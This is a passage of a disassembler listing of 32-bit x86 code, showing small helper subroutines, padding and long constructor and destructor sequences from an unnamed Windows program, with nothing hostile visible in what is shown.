[esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4160C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401EA6j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4160F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416120 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017D5 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DA2 sub_416120 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017D5 push edi mov [eax], ebx call sub_4017D5 mov edi, [eax] push edi call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017DA add esp, 4 mov ecx, esi push eax call sub_401DFC mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D66 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4161C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EA1 mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BB8 push esi mov ebx, eax call sub_4017D5 mov ecx, [eax] push ecx call sub_401BB8 mov edx, [ebx] push esi mov [eax], edx call sub_4017D5 push esi mov ebx, eax call sub_401BB8 mov eax, [eax] push eax call sub_4017D5 mov ecx, [ebx] push esi mov [eax], ecx call sub_4017DA add esp, 1Ch mov ecx, edi push eax call sub_4013F7 push esi mov ecx, edi call sub_401EF6 sub_4161C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416280 proc near ; CODE XREF: sub_401401j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4162DA loc_416298: ; CODE XREF: sub_416280+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EA1 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416298 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4162DA: ; CODE XREF: sub_416280+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416310 proc near ; CODE XREF: sub_401DA2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401E9C sub_416310 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416325 mov edi, esi loc_416325: ; CODE XREF: ___:00416321j push esi call sub_401BB8 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41633A mov edi, esi loc_41633A: ; CODE XREF: ___:00416336j push esi call sub_4017D5 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416360 proc near ; CODE XREF: sub_401EF6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401857 sub_416360 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_401BB8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163A0 proc near ; CODE XREF: sub_4017DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4163A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163C0 proc near ; CODE XREF: sub_401E29j mov eax, ecx retn sub_4163C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4163E0 proc near ; CODE XREF: sub_401D66j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40160E mov eax, esi pop esi retn 4 sub_4163E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416410 proc near ; CODE XREF: sub_401EA1j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416410 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416440 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416440 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416470 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416490 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416490 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4164C0 proc near ; CODE XREF: sub_401E01j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_4164C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_402194j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_4014F6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401753j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416550 proc near ; CODE XREF: sub_401A4Bj mov eax, [ecx] push eax call sub_401EFB add esp, 4 retn sub_416550 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_4020EFj push esi mov esi, ecx mov eax, [esi] push eax call sub_40208B mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416570 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165A0 proc near ; CODE XREF: sub_401CA8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E56 neg al sbb eax, eax inc eax retn 4 sub_4165A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_401C4Ej mov eax, [ecx] retn sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4165F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416610 proc near ; CODE XREF: sub_4015A5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416610 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416640 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416640 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_402040 add esp, 8 retn 8 sub_416660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401D4Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4166B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401F6Ej mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_401E9Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_401857j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020CC add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_4013F7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_40160Ej arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_401E56j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4167F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41683B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41683B: ; CODE XREF: sub_416820+11j retn sub_416820 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416870 proc near ; CODE XREF: sub_402040j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41688B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41688B: ; CODE XREF: sub_416870+11j retn sub_416870 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4020CCj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4168DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4168DB: ; CODE XREF: sub_4168C0+11j retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db '░░░░░░░░░░░░░░░ллллллллллллллллХ',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh) dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416990: ; CODE XREF: ___:00401C44j push 0FFFFFFFFh push offset loc_439FE1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021DA ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401EE2 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_40176C lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_401FF5 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401DED lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_40187A lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F28 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B27 lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017D0 lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018CA lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401EB0 lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402216 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017A3 lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A23 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C0 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401E83 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014F1 lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AE6 ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401C8F ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401929 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_40143D mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C00 proc near ; CODE XREF: sub_401A23j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43E050 test eax, eax jle short loc_416C17 push eax call near ptr 71AB9639h nop loc_416C17: ; CODE XREF: sub_416C00+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C30 proc near ; CODE XREF: ___:0040126Cj sub_4019BFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A23 test [esp+4+arg_0], 1 jz short loc_416C48 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416C48: ; CODE XREF: sub_416C30+Dj mov eax, esi pop esi retn 4 sub_416C30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416C60 proc near ; CODE XREF: sub_4017A3j push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43E05C test eax, eax jle short loc_416C77 push eax nop call near ptr 71AB9639h loc_416C77: ; CODE XREF: sub_416C60+Ej mov ecx, esi call sub_402031 pop esi retn sub_416C60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416C90: ; CODE XREF: ___:00401627j ; ___:loc_401C99j push esi mov esi, ecx call sub_4017A3 test byte ptr [esp+8], 1 jz short loc_416CA8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CA8: ; CODE XREF: ___:00416C9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416CC0 proc near ; CODE XREF: sub_40176Cj mov dword ptr [ecx], offset off_43E068 jmp sub_402031 sub_416CC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CE0: ; CODE XREF: ___:loc_40191Aj ; ___:0040218Aj push esi mov esi, ecx call sub_40176C test byte ptr [esp+8], 1 jz short loc_416CF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_416CF8: ; CODE XREF: ___:00416CEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43E074 add ecx, 4 jmp sub_401023 sub_416D10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D30: ; CODE XREF: ___:00401E42j push 0FFFFFFFFh push offset loc_43A1C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_40209F ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015DC lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_401FFA ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_4019F1 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_40157D lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_401645 lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401776 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_401695 lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_401820 lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016B3 lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_401415 lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D11 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A7D lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CA3 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402103 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_401573 lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_40178F lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_401424 lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_401424 lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_401424 lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_401424 lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401AFA ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416FB0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B09 sub_416FB0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417020 proc near ; CODE XREF: sub_401929j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417020 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40206D lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40206D lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40206D lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40206D lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40206D mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AD2 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AD2 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AD2 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AD2 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AD2 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AD2 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AD2 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AD2 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AD2 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AD2 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AD2 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AD2 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AD2 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AD2 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AD2 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AD2 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AD2 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AD2 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AD2 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AD2 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AD2 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AD2 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AD2 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AD2 lea ecx, 